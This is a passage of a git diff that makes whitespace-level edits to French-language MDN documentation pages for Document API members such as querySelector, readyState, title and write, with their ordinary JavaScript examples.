renvoie l'origine du document. Dans la plupart des cas, cette propriété est équivalente à `document.defaultView.location.origin`. ## Exemples diff --git a/files/fr/web/api/document/popupnode/index.md b/files/fr/web/api/document/popupnode/index.md index c27b61b7a9..50606d7e56 100644 --- a/files/fr/web/api/document/popupnode/index.md +++ b/files/fr/web/api/document/popupnode/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Document/popupNode > **Note :** À partir de Gecko 2.0, les auteurs sont encouragés à utiliser la propriété `triggerNode` de `menupopup` à la place. -Quand une fenêtre contextuelle attachée via les attributs `popup` ou `context` est ouverte, la propriété `popupNode` du document XUL est définie sur le noeud sur lequel vous avez cliqué. Il sera la cible de l'événement de souris qui a activé la fenêtre contextuelle. Si elle a été ouverte avec le clavier, le nœud contextuel peut être défini sur null. En règle générale, cette propriété sera vérifiée au cours de la gestion des événements par popupshowing, un menu contextuel pour initialiser le menu basé sur le contexte. +Quand une fenêtre contextuelle attachée via les attributs `popup` ou `context` est ouverte, la propriété `popupNode` du document XUL est définie sur le noeud sur lequel vous avez cliqué. Il sera la cible de l'événement de souris qui a activé la fenêtre contextuelle. Si elle a été ouverte avec le clavier, le nœud contextuel peut être défini sur null. En règle générale, cette propriété sera vérifiée au cours de la gestion des événements par popupshowing, un menu contextuel pour initialiser le menu basé sur le contexte. Cette propriété est uniquement définie pour les fenêtres contextuelles attachées via les attributs `popup` ou `context`. Pour les autres types, la valeur n'est pas modifiée. Dans ces autres cas, par exemple lors de l'appel de la méthode [showPopup](/fr/docs/Mozilla/Tech/XUL/M%C3%A9thodes/showPopup) de la fenêtre contextuelle, vous pouvez définir la propriété `popupNode` directement au préalable. diff --git a/files/fr/web/api/document/preferredstylesheetset/index.md b/files/fr/web/api/document/preferredstylesheetset/index.md index 9dabb35946..41df97cc20 100644 --- a/files/fr/web/api/document/preferredstylesheetset/index.md +++ b/files/fr/web/api/document/preferredstylesheetset/index.md @@ -34,7 +34,7 @@ if (document.preferredStyleSheetSet) { ## Spécifications -- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) +- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) ## Voir aussi diff --git a/files/fr/web/api/document/queryselector/index.md b/files/fr/web/api/document/queryselector/index.md index 5b3e19ea84..1829792eb0 100644 --- a/files/fr/web/api/document/queryselector/index.md +++ b/files/fr/web/api/document/queryselector/index.md @@ -14,9 +14,9 @@ translation_of: Web/API/Document/querySelector --- {{ ApiRef("DOM") }} -La méthode **`querySelector()`** de l'interface {{domxref("Document")}} retourne le premier {{domxref("Element")}} dans le document correspondant au sélecteur - ou groupe de sélecteurs - spécifié(s), ou `null` si aucune correspondance n'est trouvée. +La méthode **`querySelector()`** de l'interface {{domxref("Document")}} retourne le premier {{domxref("Element")}} dans le document correspondant au sélecteur - ou groupe de sélecteurs - spécifié(s), ou `null` si aucune correspondance n'est trouvée. -> **Note :** La correspondance est effectuée en utilisant le parcours pré-ordonné profondeur-d'abord des nœuds du document, en partant du premier élément dans le balisage du document et en itérant à travers les nœuds en séquence, par ordre du compte de nœuds enfants. +> **Note :** La correspondance est effectuée en utilisant le parcours pré-ordonné profondeur-d'abord des nœuds du document, en partant du premier élément dans le balisage du document et en itérant à travers les nœuds en séquence, par ordre du compte de nœuds enfants. ## Syntaxe @@ -27,13 +27,13 @@ element = document.querySelector(sélecteurs); ### Paramètres - `selectors` (sélecteurs) - - : une {{domxref("DOMString")}} (_chaîne de caractères_) qui contient un ou plusieurs sélecteurs à comparer. La chaîne doit être composée de sélecteurs CSS valides ; sinon une exception `SYNTAX_ERR` est lancée. Voir [Localisation des éléments DOM avec les sélecteurs](/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs) pour plus d'informations sur les sélecteurs et leur gestion. + - : une {{domxref("DOMString")}} (_chaîne de caractères_) qui contient un ou plusieurs sélecteurs à comparer. La chaîne doit être composée de sélecteurs CSS valides ; sinon une exception `SYNTAX_ERR` est lancée. Voir [Localisation des éléments DOM avec les sélecteurs](/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs) pour plus d'informations sur les sélecteurs et leur gestion. > **Note :** les caractères qui n'appartiennent pas à la syntaxe standard CSS doivent être échappés par un antislash ("\\"). Puisque JavaScript utilise aussi cette barre pour l'échappement, une attention particulière est nécessaire quand des chaînes comprennent ces caractères. Voir {{anch("Caractère spécial d'échappement")}} pour plus d'informations. ### Valeur retournée -Un objet {{domxref("Element")}} représentant le premier élément dans le document qui corresponde au jeu de [sélecteurs CSS](/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS) spécifié, ou `null` s'il n'y a pas de correspondances. +Un objet {{domxref("Element")}} représentant le premier élément dans le document qui corresponde au jeu de [sélecteurs CSS](/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS) spécifié, ou `null` s'il n'y a pas de correspondances. Si vous avez besoin d'une liste de tous les éléments correspondant aux sélecteurs spécifiés, vous devez utiliser {{domxref("Document.querySelectorAll", "querySelectorAll()")}} à la place. @@ -44,13 +44,13 @@ Si vous avez besoin d'une liste de tous les éléments correspondant aux sélect ## Notes d'utilisation -Si le sélecteur correspond à un ID et que cet ID est utilisé de façon erronée plusieurs fois dans le document, le premier élément en correspondance est retourné. +Si le sélecteur correspond à un ID et que cet ID est utilisé de façon erronée plusieurs fois dans le document, le premier élément en correspondance est retourné. Les [pseudo-éléments](/fr/docs/Web/CSS/Pseudo-elements) CSS ne retourneront jamais aucun élément, comme spécifié dans l'[API des sélecteurs](http://www.w3.org/TR/selectors-api/#grammar) (en). ### Caractère spécial d'échappement -Pour faire correspondre un ID (_identifiant_) ou un sélecteur qui ne respecte pas la syntaxe CSS (en utilisant un point virgule ou un espace par exemple), vous devez échapper le caractère avec un antislash (\\). Comme l'antislash est un caractère d'échappement en JavaScript, si vous entrez une chaîne de caractères littérale, vous devez donc l'échapper _deux fois_ (une pour la chaîne de caractères JavaScript et une autre fois pour `querySelector`) : +Pour faire correspondre un ID (_identifiant_) ou un sélecteur qui ne respecte pas la syntaxe CSS (en utilisant un point virgule ou un espace par exemple), vous devez échapper le caractère avec un antislash (\\). Comme l'antislash est un caractère d'échappement en JavaScript, si vous entrez une chaîne de caractères littérale, vous devez donc l'échapper _deux fois_ (une pour la chaîne de caractères JavaScript et une autre fois pour `querySelector`) : ```html <div id="machin\bidule"></div> @@ -73,7 +73,7 @@ Pour faire correspondre un ID (_identifiant_) ou un sélecteur qui ne respecte p ### Trouver le premier élément correspondant à une classe -Dans cet exemple, le premier élément dans le document qui contient la classe "`maclasse`" est retourné : +Dans cet exemple, le premier élément dans le document qui contient la classe "`maclasse`" est retourné : ```js var el = document.querySelector(".maclasse"); @@ -81,7 +81,7 @@ var el = document.querySelector(".maclasse"); ### Un sélecteur plus complexe -Les _sélecteurs_ peuvent également être réellement puissants comme le montre l'exemple suivant. Ici, le premier élément `<input name="identifiant"/>` dans un `<div class="panneau-utilisateur principal">` dans le document est retourné : +Les _sélecteurs_ peuvent également être réellement puissants comme le montre l'exemple suivant. Ici, le premier élément `<input name="identifiant"/>` dans un `<div class="panneau-utilisateur principal">` dans le document est retourné : ```js var el = document.querySelector("div.panneau-utilisateur.principal input[name='identifiant']"); @@ -91,7 +91,7 @@ var el = document.querySelector("div.panneau-utilisateur.principal input[name='i | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------- | ------------------- | -| {{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}} | {{Spec2("Selectors API Level 2")}} | | +| {{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}} | {{Spec2("Selectors API Level 2")}} | | | {{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}} | {{Spec2("Selectors API Level 1")}} | Définition initiale | ## Compatibilité des navigateurs @@ -101,7 +101,7 @@ var el = document.querySelector("div.panneau-utilisateur.principal input[name='i ## Voir aussi - [Localisation des éléments DOM avec les sélecteurs](/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs) -- {{domxref("document.querySelectorAll()")}} ; -- {{domxref("element.querySelector()")}} ; -- {{domxref("element.querySelectorAll()")}} ; +- {{domxref("document.querySelectorAll()")}} ; +- {{domxref("element.querySelector()")}} ; +- {{domxref("element.querySelectorAll()")}} ; - [Extraits de code pour `querySelector`](/fr/docs/Archive/Add-ons/Code_snippets/QuerySelector) diff --git a/files/fr/web/api/document/queryselectorall/index.md b/files/fr/web/api/document/queryselectorall/index.md index 07088e2c73..fcc315b3ea 100644 --- a/files/fr/web/api/document/queryselectorall/index.md +++ b/files/fr/web/api/document/queryselectorall/index.md @@ -11,9 +11,9 @@ translation_of: Web/API/Document/querySelectorAll --- {{APIRef("DOM")}} -La méthode **`querySelectorAll()`** de {{domxref("Element")}} renvoie une {{domxref("NodeList")}} statique représentant une liste des éléments du document qui correspondent au groupe de sélecteurs spécifiés. +La méthode **`querySelectorAll()`** de {{domxref("Element")}} renvoie une {{domxref("NodeList")}} statique représentant une liste des éléments du document qui correspondent au groupe de sélecteurs spécifiés. -> **Note :** Cette méthode est implémentée à partir de {{domxref("ParentNode")}}, méthode du mixin {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} . +> **Note :** Cette méthode est implémentée à partir de {{domxref("ParentNode")}}, méthode du mixin {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} . ## Syntaxe @@ -24,7 +24,7 @@ elementList = parentNode.querySelectorAll(selectors); ### Paramètres - `selecteurs` - - : une {{domxref("DOMString")}} (_chaîne de caractères_) qui contient un ou plusieurs [sélecteurs CSS](/fr/docs/Web/CSS/CSS_Selectors) ; s'il n'y en a pas, une exception `SyntaxError` est lancée. Voir [localisation des éléments DOM avec les sélecteurs](/fr/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) pour plus d'informations sur l'utilisation des sélecteurs en vue d'identifier les éléments. Plusieurs sélecteurs peuvent être spécifiés, séparés par une virgule. + - : une {{domxref("DOMString")}} (_chaîne de caractères_) qui contient un ou plusieurs [sélecteurs CSS](/fr/docs/Web/CSS/CSS_Selectors) ; s'il n'y en a pas, une exception `SyntaxError` est lancée. Voir [localisation des éléments DOM avec les sélecteurs](/fr/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors) pour plus d'informations sur l'utilisation des sélecteurs en vue d'identifier les éléments. Plusieurs sélecteurs peuvent être spécifiés, séparés par une virgule. > **Note :** Les caractères qui ne font pas partie de la syntaxe CSS standard doivent être échappés à l'aide d'une barre oblique inverse. Puisque JavaScript utilise également l'échappement en retour arrière, un soin particulier doit être pris lors de l'écriture de littéraux de chaîne utilisant ces caractères. Voir {{anch ("Echapper des caractères spéciaux")}} pour plus d'informations. @@ -32,7 +32,7 @@ elementList = parentNode.querySelectorAll(selectors); Une {{domxref("NodeList")}} statique contenant un objet {{domxref("Element")}} pour chaque élément qui correspond à au-moins un des sélecteurs spécifiés ou une {{domxref("NodeList")}} vide si aucune correspondance n'est trouvée . -> **Note :** Si les `selectors` spécifiés contiennent un [pseudo-element CSS](/fr/docs/Web/CSS/Pseudo-elements), la liste retournée sera toujours vide. +> **Note :** Si les `selectors` spécifiés contiennent un [pseudo-element CSS](/fr/docs/Web/CSS/Pseudo-elements), la liste retournée sera toujours vide. ### Exceptions @@ -41,13 +41,13 @@ Une {{domxref("NodeList")}} statique contenant un objet {{domxref("Element")}} p ## Exemples -Pour obtenir une {{domxref("NodeList")}} (_liste de noeuds_) de tous les éléments {{HTMLElement("p")}} dans le document : +Pour obtenir une {{domxref("NodeList")}} (_liste de noeuds_) de tous les éléments {{HTMLElement("p")}} dans le document : ```js const matches = document.querySelectorAll("p"); ``` -Cet exemple renvoie la liste de tous les éléments `div` du `document` dont l'attribut de classe a pour valeur "`note`" ou "`alert`" : +Cet exemple renvoie la liste de tous les éléments `div` du `document` dont l'attribut de classe a pour valeur "`note`" ou "`alert`" : ```js const matches = document.querySelectorAll("div.note, div.alert"); @@ -89,7 +89,7 @@ highlightedItems.forEach(function(userItem) { ## Notes d'utilisation -`querySelectorAll()` se comporte différemment des bibliothèques DOM JavaScript les plus courantes, ce qui peut entraîner des résultats inattendus. +`querySelectorAll()` se comporte différemment des bibliothèques DOM JavaScript les plus courantes, ce qui peut entraîner des résultats inattendus. ### HTML @@ -144,4 +144,4 @@ inner.length; // 0 - {{domxref("document.querySelector")}} - {{domxref("DocumentFragment.querySelector()")}} et {{domxref("DocumentFragment.querySelectorAll()")}} - {{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}} -- [Extraits de code pour `querySelector`](/fr/docs/Code_snippets/QuerySelector) +- [Extraits de code pour `querySelector`](/fr/docs/Code_snippets/QuerySelector) diff --git a/files/fr/web/api/document/readystate/index.md b/files/fr/web/api/document/readystate/index.md index 527d72e815..c256925113 100644 --- a/files/fr/web/api/document/readystate/index.md +++ b/files/fr/web/api/document/readystate/index.md @@ -10,9 +10,9 @@ translation_of: Web/API/Document/readyState --- {{APIRef("DOM")}} {{ gecko_minversion_header("1.9.2") }} -La valeur **Document.readyState** est une propriété de {{ domxref("document") }} qui décrit l'état de chargement du document. +La valeur **Document.readyState** est une propriété de {{ domxref("document") }} qui décrit l'état de chargement du document. -À chaque évolution de la valeur, un évenement {{event("readystatechange")}} est émis dans l'objet {{ domxref("document") }}. +À chaque évolution de la valeur, un évenement {{event("readystatechange")}} est émis dans l'objet {{ domxref("document") }}. ## Syntaxe @@ -20,14 +20,14 @@ La valeur **Document.readyState** est une propriété de {{ domxref("document") ### Valeurs -La variable `readyState` peut valoir : +La variable `readyState` peut valoir : - **`loading`** - : Le {{ domxref("document") }} est encore en chargement. - **`interactive`** - - : Le document a été chargé, mais les ressources (images, scripts, css..) sont encore en cours d'acquisition. En revanche la structure DOM est générée, et {{event("DOMContentLoaded")}} a été émis. + - : Le document a été chargé, mais les ressources (images, scripts, css..) sont encore en cours d'acquisition. En revanche la structure DOM est générée, et {{event("DOMContentLoaded")}} a été émis. - **`complete`** - - : Le document et toutes les sous-ressources ont été chargés, et {{event("load")}} a été émis. + - : Le document et toutes les sous-ressources ont été chargés, et {{event("load")}} a été émis. ## Exemples @@ -51,7 +51,7 @@ switch (document.readyState) { } ``` -### readystatechange comme alternative à DOMContentLoaded +### readystatechange comme alternative à DOMContentLoaded ```js // alternative à DOMContentLoaded @@ -62,7 +62,7 @@ document.onreadystatechange = function () { } ``` -### readystatechange comme alternative à load +### readystatechange comme alternative à load ```js // alternative à load @@ -73,7 +73,7 @@ document.onreadystatechange = function () { } ``` -### readystatechange comme event listener pour insérer ou modifier le DOM avant DOMContentLoaded +### readystatechange comme event listener pour insérer ou modifier le DOM avant DOMContentLoaded ```js // Modification du document <body> dès que possible en utilisant un script externe @@ -96,11 +96,11 @@ document.addEventListener('readystatechange', bootstrap, false); {{Compat("api.Document.readyState")}} -\[1] Ne supporte que 'complete'. Opera Presto notifie 'complete' seulement après l'événement 'load' (dans un ordre incorrect par rapport à la spécification du standard HTML5). +\[1] Ne supporte que 'complete'. Opera Presto notifie 'complete' seulement après l'événement 'load' (dans un ordre incorrect par rapport à la spécification du standard HTML5). -\[2] Internet Explorer 9 et 10 ont des bogues quand l'état 'interactive' [peut être notifié trop tôt](https://bugs.jquery.com/ticket/12282) avant que le document soit entièrement analysé. +\[2] Internet Explorer 9 et 10 ont des bogues quand l'état 'interactive' [peut être notifié trop tôt](https://bugs.jquery.com/ticket/12282) avant que le document soit entièrement analysé. -\[3] À l'introduction dans IE 4, la propriété était seulement disponible pour les objets document, embed, img, link, object, script, et style. IE 5 a étendu le support à tous les objets élément HTML. +\[3] À l'introduction dans IE 4, la propriété était seulement disponible pour les objets document, embed, img, link, object, script, et style. IE 5 a étendu le support à tous les objets élément HTML. ## Voir aussi diff --git a/files/fr/web/api/document/readystatechange_event/index.md b/files/fr/web/api/document/readystatechange_event/index.md index 8de026571e..e516c6b2a7 100644 --- a/files/fr/web/api/document/readystatechange_event/index.md +++ b/files/fr/web/api/document/readystatechange_event/index.md @@ -49,7 +49,7 @@ document.onreadystatechange = function () { ## Navigateur compatible -Cet événement a longtemps été soutenue par Internet Explorer et peut être utilisé comme une alternative à l'evenement [`DOMContentLoaded`](/fr/docs/) (voir la note \[2] de la section [Navigateurs compatibles](/fr/docs/Web/Events/DOMContentLoaded#Navigateurs_compatibles)). +Cet événement a longtemps été soutenue par Internet Explorer et peut être utilisé comme une alternative à l'evenement [`DOMContentLoaded`](/fr/docs/) (voir la note \[2] de la section [Navigateurs compatibles](/fr/docs/Web/Events/DOMContentLoaded#Navigateurs_compatibles)). ## Les événements liés diff --git a/files/fr/web/api/document/registerelement/index.md b/files/fr/web/api/document/registerelement/index.md index cb59bff3ef..71c47298d4 100644 --- a/files/fr/web/api/document/registerelement/index.md +++ b/files/fr/web/api/document/registerelement/index.md @@ -16,9 +16,9 @@ translation_of: Web/API/Document/registerElement {{draft}} -La méthode **`Document.registerElement()`** permet d'enregistrer un nouvel [élément personnalisé](/fr/docs/Web/Web_Components/Custom_Elements) dans le navigateur, et retourne un constructeur pour ce nouvel élément. +La méthode **`Document.registerElement()`** permet d'enregistrer un nouvel [élément personnalisé](/fr/docs/Web/Web_Components/Custom_Elements) dans le navigateur, et retourne un constructeur pour ce nouvel élément. -> **Note :** Il s'agit d'une technologie expérimentale. Le navigateur dans lequel vous l'utilisez doit être compatible avec les Composants Web. Voir [Activer les Composants Web dans Firefox](/fr/docs/Web/Web_Components#Activer_les_Web_Components_dans_Firefox). +> **Note :** Il s'agit d'une technologie expérimentale. Le navigateur dans lequel vous l'utilisez doit être compatible avec les Composants Web. Voir [Activer les Composants Web dans Firefox](/fr/docs/Web/Web_Components#Activer_les_Web_Components_dans_Firefox). ## Syntaxe @@ -27,7 +27,7 @@ La méthode **`Document.registerElement()`** permet d'enregistrer un nouvel [ ### Paramètres - _nom-tag_ - - : Le nom de l'élément personnalisé. Le nom doit contenir un tiret (-), par exemple `mon-tag`. + - : Le nom de l'élément personnalisé. Le nom doit contenir un tiret (-), par exemple `mon-tag`. - _options {{optional_inline}}_ - : Un objet définissant le prototype sur lequel se base l'élément personnalisé, ainsi qu'un tag existant à étendre. diff --git a/files/fr/web/api/document/selectedstylesheetset/index.md b/files/fr/web/api/document/selectedstylesheetset/index.md index 8ec18bf3a4..c41e7f5566 100644 --- a/files/fr/web/api/document/selectedstylesheetset/index.md +++ b/files/fr/web/api/document/selectedstylesheetset/index.md @@ -28,7 +28,7 @@ La définition de la valeur de cette propriété équivaut à appeler {{ domxref ## Exemple ```js -console.log("Current style sheet set: " + document.selectedStyleSheetSet); +console.log("Current style sheet set: " + document.selectedStyleSheetSet); document.selectedStyleSheetSet = "Some other style sheet"; ``` @@ -44,4 +44,4 @@ document.selectedStyleSheetSet = "Some other style sheet"; ## Spécifications -- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) +- [HTML5: Alternate Style Sheets](http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets) diff --git a/files/fr/web/api/document/stylesheets/index.md b/files/fr/web/api/document/stylesheets/index.md index 194e6044aa..635d0059f6 100644 --- a/files/fr/web/api/document/stylesheets/index.md +++ b/files/fr/web/api/document/stylesheets/index.md @@ -21,8 +21,8 @@ Il s'agit d'une collection ordonnée d'objets [`CSSStyleSheet`](/fr/docs/Web/API | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('CSSOM', '#dom-document-stylesheets', 'styleSheets')}} | {{Spec2('CSSOM')}} | | -| {{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-DocumentStyle-styleSheets', 'styleSheets')}} | {{Spec2('DOM2 Style')}} | | +| {{SpecName('CSSOM', '#dom-document-stylesheets', 'styleSheets')}} | {{Spec2('CSSOM')}} | | +| {{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-DocumentStyle-styleSheets', 'styleSheets')}} | {{Spec2('DOM2 Style')}} | | ## Voir aussi diff --git a/files/fr/web/api/document/title/index.md b/files/fr/web/api/document/title/index.md index abcabe2e9a..3cef3453fe 100644 --- a/files/fr/web/api/document/title/index.md +++ b/files/fr/web/api/document/title/index.md @@ -11,11 +11,11 @@ Obtient ou défini le titre de la page. var docTitle = document.title; -`title` est la chaîne contenant le titre de la page. Si le titre a déjà été modifié par `document.title`, cela retournera cette valeur. Sinon cela retournera le titre par défaut de la page (voir les {{Anch("Notes")}} ci-dessous). +`title` est la chaîne contenant le titre de la page. Si le titre a déjà été modifié par `document.title`, cela retournera cette valeur. Sinon cela retournera le titre par défaut de la page (voir les {{Anch("Notes")}} ci-dessous). document.title = newTitle; -`newTitle` sera le nouveau titre de la page. Le changement de titre affectera également la valeur de retour de `document.title`, le titre de la page dans le navigateur (généralement le nom de l'onglet dans votre navigateur), et affectera également le DOM de la page (le contenu de la balise HTML `<title>`). +`newTitle` sera le nouveau titre de la page. Le changement de titre affectera également la valeur de retour de `document.title`, le titre de la page dans le navigateur (généralement le nom de l'onglet dans votre navigateur), et affectera également le DOM de la page (le contenu de la balise HTML `<title>`). ## Exemple @@ -39,11 +39,11 @@ alert(document.title); // Affiche "Goodbye World!" ## Notes -Cette propriété s'applique à HTML, SVG, XUL, et aux autres documents Gecko. +Cette propriété s'applique à HTML, SVG, XUL, et aux autres documents Gecko. -Pour les documents HTML, la valeur initiale de `document.title` est le texte de la balise `<title>`. Pour les documents XUL, c'est la valeur de l'attribut {{XULAttr("title")}} de {{XULElem("window")}} ou d'autres éléments parents de l'élément XUL. +Pour les documents HTML, la valeur initiale de `document.title` est le texte de la balise `<title>`. Pour les documents XUL, c'est la valeur de l'attribut {{XULAttr("title")}} de {{XULElem("window")}} ou d'autres éléments parents de l'élément XUL. -En XUL, accéder à `document.title` avant que le document soit complètement chargé a des conséquences variables (`document.title` peut retourner une chaîne vide et définir `document.title` peut n'avoir aucun effet). +En XUL, accéder à `document.title` avant que le document soit complètement chargé a des conséquences variables (`document.title` peut retourner une chaîne vide et définir `document.title` peut n'avoir aucun effet). ## Spécification diff --git a/files/fr/web/api/document/transitionend_event/index.md b/files/fr/web/api/document/transitionend_event/index.md index c962feeb7d..8b368ac63e 100644 --- a/files/fr/web/api/document/transitionend_event/index.md +++ b/files/fr/web/api/document/transitionend_event/index.md @@ -34,13 +34,13 @@ L’évènement **`transitionend`** est émis quand une [transition CSS](/fr/doc </tbody> </table> -L’évènement `transitionend` est émis dans les deux directions : quand la transition se termine vers l’état modifié, et quand elle est complètement retournée à l’état par défaut ou non modifié. S’il n’y a pas de délai ou de durée de transition, si les deux sont 0 s ou ne sont pas déclarés, il n’y a pas de transition, et aucun évènement de transition n’est émis. Si l’évènement `transitioncancel` est émis, l’évènement `transitionend` ne se produira pas. +L’évènement `transitionend` est émis dans les deux directions : quand la transition se termine vers l’état modifié, et quand elle est complètement retournée à l’état par défaut ou non modifié. S’il n’y a pas de délai ou de durée de transition, si les deux sont 0 s ou ne sont pas déclarés, il n’y a pas de transition, et aucun évènement de transition n’est émis. Si l’évènement `transitioncancel` est émis, l’évènement `transitionend` ne se produira pas. La cible originale pour cet évènement est l’[`Element`](/en-US/docs/Web/API/Element) sur lequel la transition est appliquée. Vous pouvez écouter cet évènement sur l’interface `Window` pour le gérer durant les phases de capture ou de bouillonnement. Pour plus de détails sur cet évènement, veuillez consulter la page [HTMLElement: transitionend](/fr/docs/Web/Events/transitionend). ## Exemples -Le code suivant ajoute un gestionnaire sur l’évènement `transitionend` : +Le code suivant ajoute un gestionnaire sur l’évènement `transitionend` : ```js document.addEventListener('transitionend', () => { @@ -48,7 +48,7 @@ document.addEventListener('transitionend', () => { }); ``` -La même chose, mais en utilisant la propriété [`ontransitionend`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend) au lieu de `addEventListener()` : +La même chose, mais en utilisant la propriété [`ontransitionend`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend) au lieu de `addEventListener()` : ```js document.ontransitionend = () => { @@ -72,7 +72,7 @@ document.ontransitionend = () => { - Le gestionnaire d’évènement {{domxref("GlobalEventHandlers.ontransitionend")}} - L’interface {{domxref("TransitionEvent")}} -- Les propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}} -- Des évènements associés : [`transitionrun`](/en-US/docs/Web/API/Document/transitionrun_event), [`transitionstart`](/en-US/docs/Web/API/Document/transitionstart_event), [`transitioncancel`](/en-US/docs/Web/API/Document/transitioncancel_event) -- Cet évènement sur les cibles [`HTMLElement`](/en-US/docs/Web/API/HTMLElement) : [`transitionend`](/en-US/docs/Web/API/HTMLElement/transitionend_event) -- Cet évènement sur les cibles [`Window`](/en-US/docs/Web/API/Window) : [`transitionend`](/en-US/docs/Web/API/Window/transitionend_event) +- Les propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}} +- Des évènements associés : [`transitionrun`](/en-US/docs/Web/API/Document/transitionrun_event), [`transitionstart`](/en-US/docs/Web/API/Document/transitionstart_event), [`transitioncancel`](/en-US/docs/Web/API/Document/transitioncancel_event) +- Cet évènement sur les cibles [`HTMLElement`](/en-US/docs/Web/API/HTMLElement) : [`transitionend`](/en-US/docs/Web/API/HTMLElement/transitionend_event) +- Cet évènement sur les cibles [`Window`](/en-US/docs/Web/API/Window) : [`transitionend`](/en-US/docs/Web/API/Window/transitionend_event) diff --git a/files/fr/web/api/document/url/index.md b/files/fr/web/api/document/url/index.md index 454dde3afb..d77a3890b9 100644 --- a/files/fr/web/api/document/url/index.md +++ b/files/fr/web/api/document/url/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Document/URL --- {{APIRef("DOM")}} -Retourne l'**`URL`** du {{domxref("Document")}} sous forme de string (lecture seule). +Retourne l'**`URL`** du {{domxref("Document")}} sous forme de string (lecture seule). ## Syntaxe diff --git a/files/fr/web/api/document/visibilitystate/index.md b/files/fr/web/api/document/visibilitystate/index.md index 51d43852c7..9087043978 100644 --- a/files/fr/web/api/document/visibilitystate/index.md +++ b/files/fr/web/api/document/visibilitystate/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Document/visibilityState La propriété en lecture seule **`Document.visibilityState`** renvoie la visibilité du {{domxref('document')}}, c'est-à-dire informe si l'élément est visible dans son contexte. Il est utile de savoir si le document est en arrière-plan ou sur un onglet invisible ou seulement chargé pour le pré-rendu. Les valeurs possibles sont : - **`'visible'`** : le contenu de la page peut être au-moins partiellement visible. Dans la pratique, cela signifie que la page est l'onglet de premier plan d'une fenêtre non réduite. -- **`'hidden`'** (_caché_) : le contenu de la page n'est pas visible pour l'utilisateur. Dans la pratique , cela signifie que le document est soit dans un onglet d'arrière-plan ou une partie d'une fenêtre réduite, soit que le verrouillage de l'écran du système d'exploitation est actif. +- **`'hidden`'** (_caché_) : le contenu de la page n'est pas visible pour l'utilisateur. Dans la pratique , cela signifie que le document est soit dans un onglet d'arrière-plan ou une partie d'une fenêtre réduite, soit que le verrouillage de l'écran du système d'exploitation est actif. - **`'prerender'`** (_prérendu_) : le contenu de la page est prérendu et n'est pas visible par l'utilisateur (considéré caché aux fins de [`document.hidden`](/en-US/docs/Web/API/Document/hidden)). Le document peut démarrer dans cet état mais ne changera jamais à partir d'une autre valeur. Note : le support du navigateur est facultatif. - **`'unloaded`'** (_déchargé_) : la page est en train d'être déchargée de la mémoire. Remarque : le support du navigateur est facultatif. diff --git a/files/fr/web/api/document/width/index.md b/files/fr/web/api/document/width/index.md index bd02da9607..9ac2720827 100644 --- a/files/fr/web/api/document/width/index.md +++ b/files/fr/web/api/document/width/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/Document/width > **Note :** À partir de {{Gecko("6.0")}},` document.width `n'est plus pris en charge. Au lieu de cela, utilisez document.body.clientWidth. Voir {{domxref("element.clientWidth")}}. -Renvoie la largeur de l'élément {{HTMLElement("body")}} du document courrent en pixels. +Renvoie la largeur de l'élément {{HTMLElement("body")}} du document courrent en pixels. Non pris en charge par Internet Explorer. diff --git a/files/fr/web/api/document/write/index.md b/files/fr/web/api/document/write/index.md index d0655d473b..36fae8aeb0 100644 --- a/files/fr/web/api/document/write/index.md +++ b/files/fr/web/api/document/write/index.md @@ -38,7 +38,7 @@ function nouveauContenu() { alert("chargement du nouveau contenu"); document.open(); -document.write("<h1>Assez de l'ancien contenu, passons au nouveau !</h1>"); +document.write("<h1>Assez de l'ancien contenu, passons au nouveau !</h1>"); document.close(); } @@ -55,7 +55,7 @@ document.close(); Écrire dans un document qui a déjà été chargé sans appeler [document.open()](/fr/docs/Web/API/Document/open) provoquera un appel automatique à `document.open`. Une fois l'écriture terminée, il est recommandé d'appeler [document.close()](/fr/docs/Web/API/Document/close) pour indiquer au navigateur qu'il peut terminer de charger la page. Le texte fourni est analysé et intégré à la structure du modèle de document. Dans l'exemple ci-dessus, l'élément `h1` devient un nœud dans le document. -Si l'appel à `document.write()` est intégré directement dans le code HTML, il n'appellera pas `document.open()`. Par exemple : +Si l'appel à `document.write()` est intégré directement dans le code HTML, il n'appellera pas `document.open()`. Par exemple : ```html <script> @@ -65,7 +65,7 @@ Si l'appel à `document.write()` est intégré directement dans le code HTML, il > **Note :** `document.write` et [`document.writeln`](/fr/docs/Web/API/Document/writeln) ne fonctionnent pas dans les documents 